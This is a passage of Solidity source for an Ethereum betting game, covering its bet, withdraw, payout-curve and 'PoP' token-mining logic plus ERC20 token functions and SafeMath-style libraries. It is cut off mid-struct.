function updateNextGameInitalMinBetSize (uint256 nextGameMinBetSize) public {
require (msg.sender == author);
require (canUpdateNextGameInitalMinBetSize == true);
require (nextGameMinBetSize > 0);
FixedPoint.Data memory nextMinBet = FixedPoint.fromInt256(Int256(nextGameMinBetSize));
// Cant change the min bet too much in between games
require(nextMinBet.cmp(currentGameInitialMinBetSize.mul(FixedPoint.fromInt256(2))) != 1);
require(nextMinBet.cmp(currentGameInitialMinBetSize.div(FixedPoint.fromInt256(2))) != -1);
nextGameInitialMinBetSize = FixedPoint.fromInt256(Int256(nextGameMinBetSize));
}
function updateNextWindowAdjustmentRatio (int256 numerator, bool updateFront) public {
require (msg.sender == author);
require (numerator >= 1000);
require (numerator <= 2718);
require ((updateFront && canUpdateFrontWindowAdjustmentRatio) || (!updateFront && canUpdateBackWindowAdjustmentRatio));
if(updateFront == true) {
nextFrontWindowAdjustmentRatio = FixedPoint.fromFraction(numerator, 1000);
} else {
nextBackWindowAdjustmentRatio = FixedPoint.fromFraction(numerator, 1000);
}
}
function updateNextGamePotSplit (uint256 potSplit ) public {
require (msg.sender == author);
require (canUpdateNextGamePotSplit);
require (potSplit <= 2000);
nextGamePotSplit = potSplit;
}
function updatePercentToTakeAsSeed (uint256 value) public {
require (msg.sender == author);
require (canUpdatePercentToTakeAsSeed);
require (value < 10000);
if (value > percentToTakeAsSeed){
require (value / percentToTakeAsSeed == 1);
} else {
require (percentToTakeAsSeed / value == 1);
}
nextGameSeedPercent = value;
}
function updateNextGameMinAndMaxBlockUntilGameEnd (uint256 maxBlocks, uint256 minBlocks) public {
require (msg.sender == author);
require (canUpdateNextGameMinAndMaxBlockUntilGameEnd);
require (maxBlocks > 0);
require (minBlocks > 0);
FixedPoint.Data memory nextMaxBlock = FixedPoint.fromInt256(Int256(maxBlocks));
FixedPoint.Data memory nextMinBlock = FixedPoint.fromInt256(Int256(minBlocks));
require(nextMaxBlock.cmp(kUpperBoundBlocksTillGameEnd.mul(FixedPoint.fromInt256(2))) != 1);
require(nextMaxBlock.cmp(kUpperBoundBlocksTillGameEnd.div(FixedPoint.fromInt256(2))) != -1);
require(nextMinBlock.cmp(kLowerBoundBlocksTillGameEnd.mul(FixedPoint.fromInt256(2))) != 1);
require(nextMaxBlock.cmp(kLowerBoundBlocksTillGameEnd.div(FixedPoint.fromInt256(2))) != -1);
nextGameMaxBlock = FixedPoint.fromInt256(Int256(maxBlocks));
nextGameMinBlock = FixedPoint.fromInt256(Int256(minBlocks));
}
function getUpperBoundBlocksTillGameEnd() public view returns(uint256) {
return kUpperBoundBlocksTillGameEnd.toUInt256Raw();
}
function getLowerBoundBlocksTillGameEnd() public view returns(uint256) {
return kLowerBoundBlocksTillGameEnd.toUInt256Raw();
}
function addToRakePool () public payable{
assert (msg.value > 0);
playerInternalWallet[this] = playerInternalWallet[this].add(msg.value);
}
// Public API
function bet () payable public {
// require bet be large enough
require(msg.value >= minimumWager);
require(gameHasStarted);
uint256 betAmount = msg.value;
// take rake
betAmount = betAmountAfterRakeHasBeenWithdrawnAndProcessed(betAmount);
if((block.number.sub(lastBetBlockNumber) >= minimumNumberOfBlocksToEndGame) && (lastBetBlockNumber != 0)) {
processEndGame(betAmount);
} else if (lastBetBlockNumber == 0) {
initialBankrollGrowthAmount = FixedPoint.fromInt256(Int256(betAmount.add(initialSeed)));
}
emit Bet(msg.sender, betAmount, currentBetNumber, currentGameNumber);
Player.BettingRecord memory newBetRecord = Player.BettingRecord(msg.sender, currentGameNumber, betAmount, currentBetNumber, currentPot.sub(initialSeed), 0, 0, true);
Player.Data storage currentPlayer = playerCollection[msg.sender];
currentPlayer.insertBettingRecord(newBetRecord);
Player.BettingRecord memory oldGameUnprocessedBettingRecord = currentGameBettingRecords.getNextRecord();
currentGameBettingRecords.pushRecord(newBetRecord);
if(oldGameUnprocessedBettingRecord.isActive == true) {
processBettingRecord(oldGameUnprocessedBettingRecord);
}
currentPot = currentPot.add(betAmount);
currentBetNumber = currentBetNumber.add(1);
lastBetBlockNumber = block.number;
FixedPoint.Data memory currentGameSize = FixedPoint.fromInt256(Int256(currentPot));
FixedPoint.Data memory expectedGameSize = currentMiningDifficulty.mul(kExpectedFirstGameSize);
minimumNumberOfBlocksToEndGame = calcNumberOfBlocksUntilGameEnds(currentGameSize, expectedGameSize).toUInt256Raw();
minimumWager = calcMinimumBetSize(currentGameSize, expectedGameSize).toUInt256Raw();
}
function getMyBetRecordCount() public view returns(uint256) {
Player.Data storage currentPlayer = playerCollection[msg.sender];
return currentPlayer.unprocessedBettingRecordCount();
}
function getDeveloperMiningPowerForGameId (uint256 gameId) private view returns(uint256 res) {
if(gameId == currentGameNumber) {
return developerMiningPower;
} else {
WrappedArray.GameMetaDataElement memory elem = gameMetaData.itemAtIndex(gameId);
return elem.developerMiningPower;
}
}
function playerPopMining(uint256 recordIndex, bool onlyCurrentGame) public view returns(uint256) {
Player.Data storage currentPlayer = playerCollection[msg.sender];
Player.BettingRecord memory playerBettingRecord = currentPlayer.getBettingRecordAtIndex(recordIndex);
return computeAmountToMineForBettingRecord(playerBettingRecord, onlyCurrentGame).mul(kTotalPercent - getDeveloperMiningPowerForGameId(playerBettingRecord.gameId)).div(kTotalPercent);
}
function getBetRecord(uint256 recordIndex) public view returns(uint256, uint256, uint256) {
Player.Data storage currentPlayer = playerCollection[msg.sender];
Player.BettingRecord memory bettingRecord = currentPlayer.getBettingRecordAtIndex(recordIndex);
return (bettingRecord.gamePotBeforeBet, bettingRecord.wagerAmount, bettingRecord.gameId);
}
function withdraw (uint256 withdrawCount) public returns(bool res) {
Player.Data storage currentPlayer = playerCollection[msg.sender];
uint256 playerBettingRecordCount = currentPlayer.unprocessedBettingRecordCount();
uint256 numberOfIterations = withdrawCount < playerBettingRecordCount ? withdrawCount : playerBettingRecordCount;
numberOfIterations = numberOfIterations == 0 ? 0 : numberOfIterations.add(1);
for (uint256 i = 0 ; i < numberOfIterations; i = i.add(1)) {
Player.BettingRecord memory unprocessedRecord = currentPlayer.getNextRecord();
processBettingRecord(unprocessedRecord);
}
uint256 playerBalance = playerInternalWallet[msg.sender];
playerInternalWallet[msg.sender] = 0;
if(playerBalance == 0) {
return true;
}
emit Withdraw(msg.sender, playerBalance, numberOfIterations);
if(!msg.sender.send(playerBalance)) {
//If money shipment fails store money back in the container
playerInternalWallet[msg.sender] = playerBalance;
return false;
}
return true;
}
function getCurrentMiningDifficulty() public view returns(uint256){
return UInt256(currentMiningDifficulty.toInt256());
}
function getPlayerInternalWallet() public view returns(uint256) {
return playerInternalWallet[msg.sender];
}
function getWinningsForRecordId(uint256 recordIndex, bool onlyWithdrawable, bool onlyCurrentGame) public view returns(uint256) {
Player.Data storage currentPlayer = playerCollection[msg.sender];
Player.BettingRecord memory record = currentPlayer.getBettingRecordAtIndex(recordIndex);
if(onlyCurrentGame && record.gameId != currentGameNumber) {
return 0;
}
return getWinningsForRecord(record, onlyWithdrawable);
}
function getWinningsForRecord(Player.BettingRecord record, bool onlyWithdrawable) private view returns(uint256) {
if(onlyWithdrawable && recordIsTooNewToProcess(record)) {
return 0;
}
uint256 payout = getPayoutForPlayer(record).toUInt256Raw();
uint256 seedPercentForGame = getSeedPercentageForGameId(record.gameId);
payout = payout.sub(amountToSeedNextRound(payout, seedPercentForGame));
return payout.sub(record.withdrawnAmount);
}
function totalAmountRaked () public constant returns(uint256 res) {
return playerInternalWallet[this];
}
function betAmountAfterRakeHasBeenWithdrawnAndProcessed (uint256 betAmount) private returns(uint256 betLessRake){
uint256 amountToRake = amountToTakeAsRake(betAmount);
playerInternalWallet[this] = playerInternalWallet[this].add(amountToRake);
return betAmount.sub(amountToRake);
}
function getSeedPercentageForGameId (uint256 gameId) private view returns(uint256 res) {
if(gameId == currentGameNumber) {
return percentToTakeAsSeed;
} else {
WrappedArray.GameMetaDataElement memory elem = gameMetaData.itemAtIndex(gameId);
return elem.percentToTakeAsSeed;
}
}
function amountToSeedNextRound (uint256 value, uint256 seedPercent) private pure returns(uint256 res) {
return value.mul(seedPercent).div(kTotalPercent);
}
function addToBonusSeed () public payable {
require (msg.value > 0);
bonusSeed = bonusSeed.add(msg.value);
}
function updateAmountToTakeAsRake(uint256 value) public {
require (msg.sender == author);
require (canUpdateAmountToTakeAsRake);
require (value < 10000);
if(percentToTakeAsRake > value) {
require(percentToTakeAsRake - value <= 100);
} else {
require(value - percentToTakeAsRake <= 100);
}
nextGameRakePercent = value;
}
function updateDeveloperMiningPower(uint256 value) public {
require (msg.sender == author);
require (canUpdateDeveloperMiningPower);
require (value <= 3000);
nextGameDeveloperMiningPower = value;
}
function amountToTakeAsRake (uint256 value) private view returns(uint256 res) {
return value.mul(percentToTakeAsRake).div(kTotalPercent);
}
function processEndGame (uint256 lastBetAmount) private {
// The order of these function calls are dependent on each other
// Beware when changing order or modifying code
emit EndGame(currentGameNumber);
// Store game meta Data
gameMetaData.push(WrappedArray.GameMetaDataElement(currentPot, initialSeed, initialBankrollGrowthAmount.toUInt256Raw(), unPromisedSupplyAtStartOfCurrentGame_, developerMiningPower, percentToTakeAsSeed, percentToTakeAsRake, currentPotSplit, currentMiningDifficulty, frontWindowAdjustmentRatio, backWindowAdjustmentRatio, true)); // totalPotAmount, seedAmount, initialBet, popremaining, miningDifficulty, isActive
frontWindowAdjustmentRatio = nextFrontWindowAdjustmentRatio;
backWindowAdjustmentRatio = nextBackWindowAdjustmentRatio;
currentGameInitialMinBetSize = nextGameInitialMinBetSize;
kUpperBoundBlocksTillGameEnd = nextGameMaxBlock;
kLowerBoundBlocksTillGameEnd = nextGameMinBlock;
unPromisedSupplyAtStartOfCurrentGame_ = unPromisedPop();
initialSeed = amountToSeedNextRound(currentPot, percentToTakeAsSeed).add(bonusSeed);
bonusSeed = 0;
currentPot = initialSeed;
currentMiningDifficulty = calcDifficulty();
percentToTakeAsSeed = nextGameSeedPercent;
percentToTakeAsRake = nextGameRakePercent;
developerMiningPower = nextGameDeveloperMiningPower;
currentPotSplit = nextGamePotSplit;
// Set initial bet which will calculate the growth factor
initialBankrollGrowthAmount = FixedPoint.fromInt256(Int256(lastBetAmount.add(initialSeed)));
// Reset current game array
currentGameBettingRecords.resetIndex();
// increment game number
currentGameNumber = currentGameNumber.add(1);
}
function processBettingRecord (Player.BettingRecord record) private {
Player.Data storage currentPlayer = playerCollection[record.playerAddress];
if(currentPlayer.containsBettingRecordFromId(record.bettingRecordId) == false) {
return;
}
// Refetch record as player might have withdrawn part
Player.BettingRecord memory bettingRecord = currentPlayer.getBettingRecordForId(record.bettingRecordId);
currentPlayer.deleteBettingRecordForId(bettingRecord.bettingRecordId);
// this assumes compute for value returns total value of record less withdrawnAmount
uint256 bettingRecordValue = getWinningsForRecord(bettingRecord, true);
uint256 amountToMineForBettingRecord = computeAmountToMineForBettingRecord(bettingRecord, false);
// If it is current game we need to not remove the record as it's value might increase but amend it and re-insert
if(bettingRecord.gameId == currentGameNumber) {
bettingRecord.withdrawnAmount = bettingRecord.withdrawnAmount.add(bettingRecordValue);
bettingRecord.withdrawnPopAmount = bettingRecord.withdrawnPopAmount.add(amountToMineForBettingRecord);
currentPlayer.insertBettingRecord(bettingRecord);
}
minePoP(bettingRecord.playerAddress, amountToMineForBettingRecord, bettingRecord.gameId);
playerInternalWallet[bettingRecord.playerAddress] = playerInternalWallet[bettingRecord.playerAddress].add(bettingRecordValue);
}
function recordIsTooNewToProcess (Player.BettingRecord record) private view returns(bool res) {
if(record.gameId == currentGameNumber) {
return true;
}
return false;
}
function UInt256 (int256 elem) private pure returns(uint256 res) {
assert(elem >= 0);
return uint256(elem);
}
function Int256 (uint256 elem) private pure returns(int256 res) {
assert(int256(elem) >= 0);
return int256(elem);
}
function getBankRollGrowthForGameId (uint256 gameId) private view returns(FixedPoint.Data res) {
if(gameId == currentGameNumber) {
return FixedPoint.fromInt256(Int256(currentPot)).div(initialBankrollGrowthAmount);
} else {
WrappedArray.GameMetaDataElement memory elem = gameMetaData.itemAtIndex(gameId);
return FixedPoint.fromInt256(Int256(elem.totalPotAmount)).div(FixedPoint.fromInt256(Int256(elem.initialBet)));
}
}
function getSeedAmountForGameId (uint256 gameId) private view returns(FixedPoint.Data res) {
if(gameId == currentGameNumber) {
return FixedPoint.fromInt256(Int256(initialSeed));
} else {
WrappedArray.GameMetaDataElement memory elem = gameMetaData.itemAtIndex(gameId);
return FixedPoint.fromInt256(Int256(elem.seedAmount));
}
}
function getWindowAdjRatioForGameId (uint256 gameId, bool isFront) internal view returns(FixedPoint.Data) {
if(gameId == currentGameNumber) {
return isFront == true ? frontWindowAdjustmentRatio : backWindowAdjustmentRatio;
} else {
WrappedArray.GameMetaDataElement memory elem = gameMetaData.itemAtIndex(gameId);
return isFront == true ? elem.frontWindowAdjustmentRatio : elem.backWindowAdjustmentRatio;
}
}
function getSplitPotAsFixedPointForGameId (uint256 gameId, bool isFront) internal view returns (FixedPoint.Data) {
if(gameId == currentGameNumber) {
if(isFront){
return FixedPoint.fromFraction(Int256(currentPotSplit), 1000);
} else {
return FixedPoint.fromFraction(Int256(potSplitMax.sub(currentPotSplit)), 1000);
}
} else {
WrappedArray.GameMetaDataElement memory elem = gameMetaData.itemAtIndex(gameId);
if(isFront){
return FixedPoint.fromFraction(Int256(elem.potSplit), 1000);
} else {
return FixedPoint.fromFraction(Int256(potSplitMax.sub(elem.potSplit)), 1000);
}
}
}
function getAdjustedPotAsFixedPointForGameId (uint256 gameId, bool isFront) internal view returns (FixedPoint.Data) {
return getPotAsFixedPointForGameId(gameId).mul(getSplitPotAsFixedPointForGameId(gameId, isFront));
}
function getPayoutForPlayer(Player.BettingRecord playerRecord) internal view returns (FixedPoint.Data) {
FixedPoint.Data memory frontWindowAdjustment = getWindowAdjustmentForGameIdAndRatio(playerRecord.gameId, getWindowAdjRatioForGameId(playerRecord.gameId, true));
FixedPoint.Data memory backWindowAdjustment = getWindowAdjustmentForGameIdAndRatio(playerRecord.gameId, getWindowAdjRatioForGameId(playerRecord.gameId, false));
FixedPoint.Data memory backPayoutEndPoint = kBackPayoutEndPointInitial.div(backWindowAdjustment);
FixedPoint.Data memory frontPayoutSizePercent = kFrontPayoutStartPointInitial.div(frontWindowAdjustment);
FixedPoint.Data memory frontPayoutStartPoint = FixedPoint.fromInt256(1).sub(frontPayoutSizePercent);
FixedPoint.Data memory frontPercent = FixedPoint.fromInt256(0);
if(playerRecord.gamePotBeforeBet != 0) {
frontPercent = FixedPoint.fromInt256(Int256(playerRecord.gamePotBeforeBet)).div(getPotAsFixedPointForGameId(playerRecord.gameId).sub(getSeedAmountForGameId(playerRecord.gameId)));
}
FixedPoint.Data memory backPercent = FixedPoint.fromInt256(Int256(playerRecord.gamePotBeforeBet)).add(FixedPoint.fromInt256(Int256(playerRecord.wagerAmount))).div(getPotAsFixedPointForGameId(playerRecord.gameId).sub(getSeedAmountForGameId(playerRecord.gameId)));
if(frontPercent.val < backPayoutEndPoint.val) {
if(backPercent.val <= backPayoutEndPoint.val) {
// Bet started in left half of curve and ended left half of curve
return calcWinnings(frontPercent.div(backPayoutEndPoint), backPercent.div(backPayoutEndPoint), backWindowAdjustment, FixedPoint.fromInt256(0), playerRecord.gameId, false);
} else if (backPercent.val <= frontPayoutStartPoint.val) {
// Bet started in left half of curve and ended in deadzone between curves
return calcWinnings(frontPercent.div(backPayoutEndPoint), backPayoutEndPoint.div(backPayoutEndPoint), backWindowAdjustment, FixedPoint.fromInt256(0), playerRecord.gameId, false);
} else {
// Bet started in left half of curve and ended right half of curve
return calcWinnings(frontPercent.div(backPayoutEndPoint), backPayoutEndPoint.div(backPayoutEndPoint), backWindowAdjustment, FixedPoint.fromInt256(0), playerRecord.gameId, false).add(calcWinnings(FixedPoint.fromInt256(0), backPercent.sub(frontPayoutStartPoint).div(frontPayoutSizePercent), frontWindowAdjustment, _pi.div(frontWindowAdjustment), playerRecord.gameId, true));
}
} else if (frontPercent.val < frontPayoutStartPoint.val) {
if (backPercent.val <= frontPayoutStartPoint.val) {
// Bet started in dead zone and ended in dead zone
return FixedPoint.fromInt256(0);
} else {
// Bet started in deadzone and ended in right hand of curve
return calcWinnings(FixedPoint.fromInt256(0), backPercent.sub(frontPayoutStartPoint).div(frontPayoutSizePercent), frontWindowAdjustment, _pi.div(frontWindowAdjustment), playerRecord.gameId, true);
}
} else {
// Bet started in right hand of curve and of course ended in right hand of curve
return calcWinnings(frontPercent.sub(frontPayoutStartPoint).div(frontPayoutSizePercent), backPercent.sub(frontPayoutStartPoint).div(frontPayoutSizePercent), frontWindowAdjustment, _pi.div(frontWindowAdjustment), playerRecord.gameId, true);
}
}
function getWindowAdjustmentForGameIdAndRatio(uint256 gameId, FixedPoint.Data adjustmentRatio) internal view returns (FixedPoint.Data) {
FixedPoint.Data memory growth = getBankRollGrowthForGameId(gameId);//FixedPoint.Data({val: brGrowth});
FixedPoint.Data memory logGrowthRate = growth.ln();
return growth.div(adjustmentRatio.pow(logGrowthRate));
}
function integrate(FixedPoint.Data x, FixedPoint.Data a, FixedPoint.Data y) internal pure returns (FixedPoint.Data) {
return a.mul(x).sin().div(a).add(x).sub(a.mul(y).sin().div(a).add(y));
}
function calcWinnings(FixedPoint.Data playerFrontPercent, FixedPoint.Data playerBackPercent, FixedPoint.Data windowAdjustment, FixedPoint.Data sectionOffset, uint256 gameId, bool isFront) internal view returns (FixedPoint.Data) {
FixedPoint.Data memory potSize = getAdjustedPotAsFixedPointForGameId(gameId, isFront);
FixedPoint.Data memory startIntegrationPoint = sectionOffset.add(playerFrontPercent.mul(_pi.div(windowAdjustment)));
FixedPoint.Data memory endIntegrationPoint = sectionOffset.add(playerBackPercent.mul(_pi.div(windowAdjustment)));
return integrate(endIntegrationPoint, windowAdjustment, startIntegrationPoint).mul(potSize).mul(windowAdjustment).div(_2pi);
}
function computeAmountToMineForBettingRecord (Player.BettingRecord record, bool onlyCurrentGame) internal view returns(uint256 value) {
if(onlyCurrentGame && record.gameId != currentGameNumber){
return 0;
}
uint256 payout = getPopPayoutForRecord(record).toUInt256Raw();
return payout.sub(record.withdrawnPopAmount);
}
function getPopPayoutForRecord(Player.BettingRecord record) private view returns(FixedPoint.Data value) {
if(record.isActive == false) {
return FixedPoint.fromInt256(0);
}
return totalTokenPayout(getPotAsFixedPointForGameId(record.gameId).sub(getInitialSeedAsFixedPointForGameId(record.gameId)), getDifficultyAsFixedPointForGameId(record.gameId), getPopRemainingAsFixedPointForGameId(record.gameId), record.wagerAmount, record.gamePotBeforeBet); //uint256 gameId, uint256 wagerAmount, uint256 previousPotSize
}
function unMinedPop () private view returns(uint256 res) {
return totalSupply_.sub(supplyMined_);
}
function promisedPop () private view returns(uint256) {
FixedPoint.Data memory curPot = getPotAsFixedPointForGameId(currentGameNumber);
FixedPoint.Data memory seed = getInitialSeedAsFixedPointForGameId(currentGameNumber);
FixedPoint.Data memory difficulty = getDifficultyAsFixedPointForGameId(currentGameNumber);
FixedPoint.Data memory unpromised = getPopRemainingAsFixedPointForGameId(currentGameNumber);
uint256 promisedPopThisGame = totalTokenPayout(curPot.sub(seed), difficulty, unpromised, currentPot.sub(seed.toUInt256Raw()), 0).toUInt256Raw();
return totalSupply_.sub(unPromisedSupplyAtStartOfCurrentGame_).add(promisedPopThisGame);
}
function unPromisedPop () private view returns(uint256 res) {
return totalSupply_.sub(promisedPop());
}
function potentiallyCirculatingPop () public view returns(uint256 res) {
return promisedPop().sub(supplyBurned_);
}
function minePoP(address target, uint256 amountToMine, uint256 gameId) private {
if(supplyMined_ >= totalSupply_) {
return;
}
uint256 remainingPop = unMinedPop();
if(amountToMine == 0 || remainingPop == 0) {
return;
}
if(remainingPop < amountToMine) {
amountToMine = remainingPop;
}
uint256 developerMined = amountToMine.mul(getDeveloperMiningPowerForGameId(gameId)).div(kTotalPercent);
uint256 playerMined = amountToMine.sub(developerMined);
supplyMined_ = supplyMined_.add(amountToMine);
popBalances[target] = popBalances[target].add(playerMined);
popBalances[author] = popBalances[author].add(developerMined);
emit Mined(target, playerMined);
emit Transfer(0, target, playerMined);
emit Mined(author, developerMined);
emit Transfer(0, author, developerMined);
}
function redeemPop (uint256 popToRedeem) public returns(bool res) {
require(popBalances[msg.sender] >= popToRedeem);
require(popToRedeem != 0);
uint256 potentiallyAllocatedPop = potentiallyCirculatingPop();
FixedPoint.Data memory redeemRatio = popToRedeem < potentiallyAllocatedPop ? FixedPoint.fromFraction(Int256(popToRedeem), Int256(potentiallyAllocatedPop)) : FixedPoint.fromInt256(1);
FixedPoint.Data memory ethPayoutAmount = redeemRatio.mul(FixedPoint.fromInt256(Int256(totalAmountRaked())));
uint256 payout = ethPayoutAmount.toUInt256Raw();
require(payout<=totalAmountRaked());
require(payout <= address(this).balance);
burn(popToRedeem);
playerInternalWallet[this] = playerInternalWallet[this].sub(payout);
playerInternalWallet[msg.sender] = playerInternalWallet[msg.sender].add(payout);
return true;
}
// Coin Functions
function totalSupply() public view returns (uint256) {
return promisedPop();
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return popBalances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= popBalances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
popBalances[msg.sender] = popBalances[msg.sender].sub(_value);
popBalances[_to] = popBalances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= popBalances[_from]);
require(_value <= allowed[_from][msg.sender]);
popBalances[_from] = popBalances[_from].sub(_value);
popBalances[_to] = popBalances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function burn(uint256 _value) public {
require (popBalances[msg.sender] >= _value);
address burner = msg.sender;
supplyBurned_ = supplyBurned_.add(_value);
popBalances[burner] = popBalances[burner].sub(_value);
emit Burn(burner, _value);
}
function getInitialSeedAsFixedPointForGameId (uint256 gameId) private view returns(FixedPoint.Data res) {
if(gameId == currentGameNumber) {
return FixedPoint.fromInt256(Int256(initialSeed));
} else {
WrappedArray.GameMetaDataElement memory elem = gameMetaData.itemAtIndex(gameId);
return FixedPoint.fromInt256(Int256(elem.seedAmount));
}
}
function getPotAsFixedPointForGameId (uint256 gameId) private view returns(FixedPoint.Data res) {
if(gameId == currentGameNumber) {
return FixedPoint.fromInt256(Int256(currentPot));
} else {
WrappedArray.GameMetaDataElement memory elem = gameMetaData.itemAtIndex(gameId);
return FixedPoint.fromInt256(Int256(elem.totalPotAmount));
}
}
function getPopRemainingAsFixedPointForGameId (uint256 gameId) private view returns(FixedPoint.Data res) {
if(gameId == currentGameNumber) {
return FixedPoint.fromInt256(Int256(unPromisedSupplyAtStartOfCurrentGame_));
} else {
WrappedArray.GameMetaDataElement memory elem = gameMetaData.itemAtIndex(gameId);
return FixedPoint.fromInt256(Int256(elem.coinsRemaining));
}
}
function getDifficultyAsFixedPointForGameId (uint256 gameId) private view returns(FixedPoint.Data res) {
if(gameId == currentGameNumber) {
return currentMiningDifficulty;
} else {
WrappedArray.GameMetaDataElement memory elem = gameMetaData.itemAtIndex(gameId);
return elem.miningDifficulty;
}
}
function calcDifficulty() private view returns (FixedPoint.Data) {
FixedPoint.Data memory total = FixedPoint.fromInt256(0);
FixedPoint.Data memory count = FixedPoint.fromInt256(0);
uint256 j = 0;
for(uint256 i=gameMetaData.length().sub(1) ; i>=0 && j<kDifficultyWindow; i = i.sub(1)){
WrappedArray.GameMetaDataElement memory thisGame = gameMetaData.itemAtIndex(i);
FixedPoint.Data memory thisGamePotSize = FixedPoint.fromInt256(Int256(thisGame.totalPotAmount));
FixedPoint.Data memory thisCount = kDifficultyDropOffFactor.pow(FixedPoint.fromInt256(Int256(j)));
total = total.add(thisCount.mul(thisGamePotSize));
count = count.add(thisCount);
j = j.add(1);
if(i == 0) {
break;
}
}
return total.div(count).div(kExpectedFirstGameSize);
}
function getBrAdj(FixedPoint.Data currentPotValue, FixedPoint.Data expectedGameSize) private pure returns (FixedPoint.Data) {
if(currentPotValue.cmp(expectedGameSize) == -1) {
return expectedGameSize.div(currentPotValue).log10().neg();
} else {
return currentPotValue.div(expectedGameSize).log10();
}
}
function getMiningRateAtPoint(FixedPoint.Data point, FixedPoint.Data difficulty, FixedPoint.Data currentPotValue, FixedPoint.Data coins_tbi) private view returns (FixedPoint.Data) {
assert (point.cmp(currentPotValue) != 1);
FixedPoint.Data memory expectedGameSize = kExpectedFirstGameSize.mul(difficulty);
FixedPoint.Data memory depositRatio = point.div(currentPotValue);
FixedPoint.Data memory brAdj = getBrAdj(currentPotValue, expectedGameSize);
if(brAdj.cmp(FixedPoint.fromInt256(0)) == -1) {
return coins_tbi.mul(FixedPoint.fromInt256(1).div(FixedPoint.fromInt256(2).pow(brAdj.neg()))).mul(FixedPoint.fromInt256(2).sub(depositRatio));
} else {
return coins_tbi.mul(FixedPoint.fromInt256(2).pow(brAdj)).mul(FixedPoint.fromInt256(2).sub(depositRatio));
}
}
function getExpectedGameSize() external view returns (int256) {
return kExpectedFirstGameSize.toInt256();
}
function totalTokenPayout(FixedPoint.Data currentPotValue, FixedPoint.Data difficulty, FixedPoint.Data unpromisedPopAtStartOfGame, uint256 wagerAmount, uint256 previousPotSize) private view returns (FixedPoint.Data) {
FixedPoint.Data memory maxPotSize = kExpectedFirstGameSize.mul(difficulty).mul(kMaxPopMiningPotMultiple);
FixedPoint.Data memory startPoint = FixedPoint.fromInt256(Int256(previousPotSize));
if(startPoint.cmp(maxPotSize) != -1){ // startPoint >= maxPotSize
return FixedPoint.fromInt256(0);
}
FixedPoint.Data memory endPoint = FixedPoint.fromInt256(Int256(previousPotSize + wagerAmount));
if(endPoint.cmp(maxPotSize) != -1){
endPoint = maxPotSize;
wagerAmount = maxPotSize.sub(startPoint).toUInt256Raw();
}
if(currentPotValue.cmp(maxPotSize) != -1){
currentPotValue = maxPotSize;
}
FixedPoint.Data memory betSizePercent = FixedPoint.fromInt256(Int256(wagerAmount)).div(kExpectedFirstGameSize.mul(difficulty));
FixedPoint.Data memory expectedCoinsToBeIssuedTwoThirds = FixedPoint.fromFraction(2, 3).mul(unpromisedPopAtStartOfGame.mul(kExpectedPopCoinToBePromisedPercent));
return getMiningRateAtPoint(startPoint.add(endPoint).div(FixedPoint.fromInt256(2)), difficulty, currentPotValue, expectedCoinsToBeIssuedTwoThirds).mul(betSizePercent);
}
function calcNumberOfBlocksUntilGameEnds(FixedPoint.Data currentGameSize, FixedPoint.Data targetGameSize) internal view returns (FixedPoint.Data) {
return kLowerBoundBlocksTillGameEnd.add(kUpperBoundBlocksTillGameEnd.mul(FixedPoint.fromInt256(1).div(currentGameSize.div(targetGameSize).exp())));
}
function calcMinimumBetSize(FixedPoint.Data currentGameSize, FixedPoint.Data targetGameSize) internal view returns (FixedPoint.Data) {
return currentGameInitialMinBetSize.mul(FixedPoint.fromInt256(2).pow(FixedPoint.fromInt256(1).add(currentGameSize.div(targetGameSize)).log10()));
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library SafeInt {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
if (a == 0) {
return 0;
}
int256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
int256 c = a / b;
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
if(a>0 && b<0) {
assert (c > a);
} else if(a<0 && b>0) {
assert (c < a);
}
return c;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
if(a>0 && b>0) {
assert(c > a);
} else if (a < 0 && b < 0) {
assert(c < a);
}
return c;
}
}
library WrappedArray {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Data;
struct GameMetaDataElement {
uint256 totalPotAmount;
uint256 seedAmount;
uint256 initialBet;
uint256 coinsRemaining;
uint256 developerMiningPower;
uint256 percentToTakeAsSeed;
